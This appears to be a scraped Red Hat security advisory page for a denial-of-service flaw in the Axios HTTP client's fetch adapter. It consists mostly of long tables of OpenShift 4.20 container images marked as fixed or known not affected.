| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:98636cb3a8c474d6564ee277234bfa6f8bd4bc74a8a5327c4eb21b26c2c9d626_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:f7cbd75d0671200c3af39c481f36478676c328f47692c1f2c1b46429470eb9bf_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:3cb1ef218d08069307b9cb1013d1a3814567df8ec55f64ddd9b72f5790a03f3c_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:450a1c77d36771a98dfa96bb128a066192871becc7ff3edd5da3f9839de5b87b_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:647e915e236daa81b0001b61dcfdbea5cb999a844ec0d52f7d0dd4e224cbcbb9_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:bf4b64740a63a1f6e541d92128c9237fdd813a52536ed1273983946e3c215f7f_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:203ec72895a613490e467305fd2ad96e620d4ea8631b44117be4f7227cb3d162_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:86e58cc04993c9ebb62ff13f8c9e38fcb1dd1bbdd7f5474a8c6de3a73b628492_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:89275d5e3701e681b789e2c80377bdc124c617ccf1fea892fcd9342647ee4e13_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:8ec539591813dd64b6e220480649aceb0f20ac8dbaccf29f5852805fe2d653c6_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:06e3ee0cbdc2f1b3ad5e51bacf75c05cf7f156f8ab0ab451ae0d7849095c35a4_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:8dc3a7e099280b53633b6dc3bddcade1de7720e6b26689b99b13f146675c4f5b_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:e926f2b13e47bf18d2109a39fb2023f112df68ce206f797f60aabe688b203bde_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:ecd2f1b4154e0e1a82956378e620ff618383e341b7ad7571c4c1fbec55a2db5b_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:29d98fcb36f650c7bc94edf306894f4add6d8470dd75ef1b9d2f86a96f7eeefb_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b3a9fee448a212907122556f9d2b6441122cd09f03fd85b953db0f06527cd841_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b9a359fca4093efb9deaf581963244e67abfc7afc3ec6df558cc1525adaed085_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:e6d546338774b75c347f1c00f01897d2c18bcc02aae73801c888a1c0bc7159a9_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:fe589677a60e47f089add4a8662d7a5bb018d149bd40951450afcad9459d0868_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:0265e523cbb12746ce518597e1f2ae8dfed5a4f108410d74a284429511d7dd80_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:06833bd27e40dd3a770cac2b4bc943cbbcc005409df8bcb8da465c2f4cfe25e3_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3e44064c6c2f51f5d59267cb3be081e525227b412f84cdf982239a7340c5a0b6_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:89c39898050cee289a3d05bace758ad4551a9dcb4b55467dff1b70ef304e227a_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:7b5d98fb5c01c84f70fdd05e5ca4ea35f580eacf123fd70744dd207e90ac8ecc_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:dcb687dac46dfcb5190a00860a358b63304e344ee233605c69442ae784df50a7_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5571dc60fd35ac8fc45f1632859804ec7f6b261b131bd8a1f68ab4de49c79a08_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:638bf4691fd54f1854134c0a350a18956f2d4e33367775c35882bbffad8a085e_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e7665d0ff02bafdf87f7cf26d8f9364504b6019a582381408cf5f6bbb8a6b2c0_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:ebf9d8e110fdd0eb92437bb9948019dd5caaaa13dff3bbdacf99caf98a11f701_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:49bd024d3d99fb1ad7bab883c7e5f660183c3146ca927b6d7ddceeeddfcba157_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:b66789383841ab46f31f467fa319ec01d202f7f69739ff4d251b4af0a6c9e6e6_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:c346d06d42db2adc95274fdad624981452835dde285b7f44bf72a8d362ce73bb_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:cb690ce1b790312c809730ce08830a3fd43ff06a3136c57256952cd7bbe13d55_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:624021ed9404e77d1417862044df4b04fa3fe3dc026b03ea54a2b87d4376d387_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:a1bd5af44e35c68359b7bc642c195a557a25e15f41124b5874fc1e51ee299bf3_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:ee697ce277502f25541e9973db31e142af9c4419849a50d0a020c61afcc48c33_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:fdea6c63c595dc8b02cef15286aeb3ddc3bfe0193de45201d0cfb11a3bcd589f_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:522a646576645bcbf84710a97c8f89c577d55a22f1d8d1c868135d1d8ecbe34c_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:81c0cf537924384b7ef75b604e5941fc51fe049641622c4b772852788da14097_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:89f57abd15554b50bd27019be5438490bd6207d18d457607603c511a054f1b7a_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:9c0de5f2f719b24731c4a5aaa2e1b40d661e67a72fe0d3caac4271f9e9d5ead5_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1b57935b2c9a488ef21e6d66ad07c2e25a1737b0e0641319fbe7710a24e01e4b_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:365ac58c2af582f184d3f62beaa48d15f3981e4d8da0cbbb8c93ec6986243b51_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:38eb1cac78fe34949a20dbc1cc949f4d2861d9db7ada1de0e5ed29279901f408_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:d3125750bd9da51e7a35ef16af331b8a2b3dc157b3fa471629fb616322e35fc9_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:1a8f96819a4c2b6c5d8d3d16e7f2d86cd98fec4d54aadc93d577114787713537_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:640edf3a82ee8b13796051e101e647b2378da417e14a1dff18ce501e4fd37bb3_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:c7a464e13822761ca8082145086084a7ee99dac69eaf2499ae3a216840866dac_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:f01be0e96604d69f4c4e9e4363da99fab82220b72e34accaedd7c62f3e510f2d_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:050d6a3c89ac2be7115949ac33afe56a690b5d56775be5f1f004902ba056da20_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:3170599804e9cf0f6ee3edf955f2d9b34a462a3cf1fb667a2db53ccc9498724c_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:74ed6313652eb904df6f81151b9c829c01f7304c6872071a100a65ada5679978_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:8f505384a22a337f1ac2c2b76051e4cee2a60b638cebe734816ff49bb1fb0b9f_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7154ccb28376771fbbb8754ddd010672548c43fbec531e0cfdf3007a8efd882c_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7c254637daf1b7564394c9a6425b9dec8a711e27ccfc659d5a55471c218b14cd_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:ad266469369890878063a4e0793c144bf73be0c963be65f154f3e8988c666fe2_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:fe01dc34d6ef1faf09be0e5b4fd7c9c0db4baafc8fdd77ab61d25167c80e8a53_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:c731759826eeaffcc98dcc86e890adc3dcbc3497761bbebe04265892e782963d_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:dcaeb66077a2e78128d7ddc7b03ec9501f65c14f068948a9fbb82245927f2d04_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:06a4c88d17ea03dbcaf83bfbf36d42ae4e288218477c11ba8bdbb45eb5b3ca56_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:387d5a03bce1e6b80a36582c2959e6c0569cbce7f49b5c29297c4eae1fa89a4f_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:3ddb9e724e529e60d4b0669d5630f661f416c4e762c60d25b70573b40ef131b3_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:cbe78a9f8013acf7217363c5512cb61b16db26ade6a00b3ec9bad7b534ea6c97_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:1a7ac4b64621194572606055e495c964f0061619156b58db38e5e3ed0d63b359_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:7acd95b189ae4b09922c757de90a1855a91ec8d185144ef19027bd0ff1c9f522_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:8caabe7828c7c1df3b1edf2585a48055615ff16becb6149a8d558ce9ce717862_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:c37cf3696e1b4c67f30d7a42f324606c6814e61ddbe3e5520e0a7a0a0242ed6d_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:0c87c80a5bccd9225c9d1faa85ea7d0deed337a138fadb0412af6590fd9f96b4_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6e40ba6ae462a707631a6f8496ae597f811f3eaef98bdfcc0d0dedb0dcdc1575_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6ecb5789c21c2bf45a3312bd7116f847a3b15646009fed0031a6cf160306e965_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:7a55683ac150ed1a4ec96017f62099116b81d07a0b0277a6eaab06cc2064116b_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:3b6e1dbf5de0caacb2cd524ca40193db89ec825360c0dfd8e1f3af197f4539dd_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:6a598579673f0a81e14f17fc463ee4f6bb3cfa937f281bd089b479b5155980d6_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:ad1759daee6b18fa3267b578c75fb178730319d1cd9527a21fb9836ddc4facac_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:babce324aa37ddf6db4514c1a697a4f2769775426fb59c635d2c8702e9952153_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:48b50cb476bad0b50177ddf4d801d8a953249f4c5a268d2822d16ed4845bf33f_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:590285997861e1233f792b5f371e9897086fd3b217a4840c5bfa971118472c94_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9c1401fe5364b8ba3a069ac69a16e60d09f54e1dc17f30bdd438933f60474b8f_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9f4ff8acdc663301d308156bb2c56d68379a95fa087bc71f41a699a8ed08eba9_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:20c651f23e57bce386239c12ad3e2a19aa3220ef5c89c2561cad7bd40476d4c0_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:3fa417f375c4d41175b700a1a44f7dbd60f58a9337b1202720696f84d347fda9_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:44f8632e12b1a2e798c518cccff5aff1ebdfc1cdda8a4bb044ed01e322aa1f2c_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:b081739ac1afa49e7a1eb8f73b76bd30241c056eb55ed06d2845002368571fb3_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:2f154bdf369c1e9b9981b9478399f8bb870aad53bd5f33420a74bfdfd942ae8d_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:5d44a3b19601304824c82cb302a575d2ffa8e7085d02abfaae925af1b2908eaf_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:8d50532844d79c853a38a59c62ad4e6ea253e5ca6d54a81791b38922053f9ddd_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:db6900b8ab7297ae4b098c821386069cba11b54e0211f726607a108b74969067_arm64 | — |
Workaround
|
Threats
Impact
Important
A flaw was found in Axios, a promise-based HTTP client. When using the fetch adapter, Axios did not properly enforce configured request and response size limits. This vulnerability allows a remote attacker, through a malicious or compromised server, or by supplying a large data URL, to send or receive oversized data bodies. This can lead to resource exhaustion in server-side applications, resulting in a Denial of Service (DoS).
7.5 (High)
Affected products
Fixed
4 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:0f70afc8fc44153005b719e423b9414a806f52a1f0a0eaf383214e7aeb0d1d43_amd64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9e2ca3a4a43f24bb081c0d1a20350a9086e93dcbdc617b561fcc39369273b32e_arm64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:a66f68ebb39a0474bc89255b465750e203dabacfdec098ec20c14b7adb7e26af_s390x | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:f811943f27e46556496a9833e20192a53b11d441660f8815b32f5afbc1eddd0e_ppc64le | — |
Vendor Fix
fix
Workaround
|
Known not affected
89 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:3bbdf23c749d068f766d18fccd5e5ae23ff90a5565d8f5101b551113cfb6c123_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:979314a23724ebc8de0be49aa32b8f420179125c695ca48549f541e59337e1b2_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:98636cb3a8c474d6564ee277234bfa6f8bd4bc74a8a5327c4eb21b26c2c9d626_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:f7cbd75d0671200c3af39c481f36478676c328f47692c1f2c1b46429470eb9bf_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:3cb1ef218d08069307b9cb1013d1a3814567df8ec55f64ddd9b72f5790a03f3c_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:450a1c77d36771a98dfa96bb128a066192871becc7ff3edd5da3f9839de5b87b_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:647e915e236daa81b0001b61dcfdbea5cb999a844ec0d52f7d0dd4e224cbcbb9_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:bf4b64740a63a1f6e541d92128c9237fdd813a52536ed1273983946e3c215f7f_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:203ec72895a613490e467305fd2ad96e620d4ea8631b44117be4f7227cb3d162_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:86e58cc04993c9ebb62ff13f8c9e38fcb1dd1bbdd7f5474a8c6de3a73b628492_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:89275d5e3701e681b789e2c80377bdc124c617ccf1fea892fcd9342647ee4e13_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:8ec539591813dd64b6e220480649aceb0f20ac8dbaccf29f5852805fe2d653c6_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:06e3ee0cbdc2f1b3ad5e51bacf75c05cf7f156f8ab0ab451ae0d7849095c35a4_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:8dc3a7e099280b53633b6dc3bddcade1de7720e6b26689b99b13f146675c4f5b_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:e926f2b13e47bf18d2109a39fb2023f112df68ce206f797f60aabe688b203bde_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:ecd2f1b4154e0e1a82956378e620ff618383e341b7ad7571c4c1fbec55a2db5b_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:29d98fcb36f650c7bc94edf306894f4add6d8470dd75ef1b9d2f86a96f7eeefb_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b3a9fee448a212907122556f9d2b6441122cd09f03fd85b953db0f06527cd841_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b9a359fca4093efb9deaf581963244e67abfc7afc3ec6df558cc1525adaed085_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:e6d546338774b75c347f1c00f01897d2c18bcc02aae73801c888a1c0bc7159a9_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:fe589677a60e47f089add4a8662d7a5bb018d149bd40951450afcad9459d0868_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:0265e523cbb12746ce518597e1f2ae8dfed5a4f108410d74a284429511d7dd80_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:06833bd27e40dd3a770cac2b4bc943cbbcc005409df8bcb8da465c2f4cfe25e3_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3e44064c6c2f51f5d59267cb3be081e525227b412f84cdf982239a7340c5a0b6_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:89c39898050cee289a3d05bace758ad4551a9dcb4b55467dff1b70ef304e227a_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:7b5d98fb5c01c84f70fdd05e5ca4ea35f580eacf123fd70744dd207e90ac8ecc_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:dcb687dac46dfcb5190a00860a358b63304e344ee233605c69442ae784df50a7_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5571dc60fd35ac8fc45f1632859804ec7f6b261b131bd8a1f68ab4de49c79a08_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:638bf4691fd54f1854134c0a350a18956f2d4e33367775c35882bbffad8a085e_ppc64le | — |
Workaround
|
|
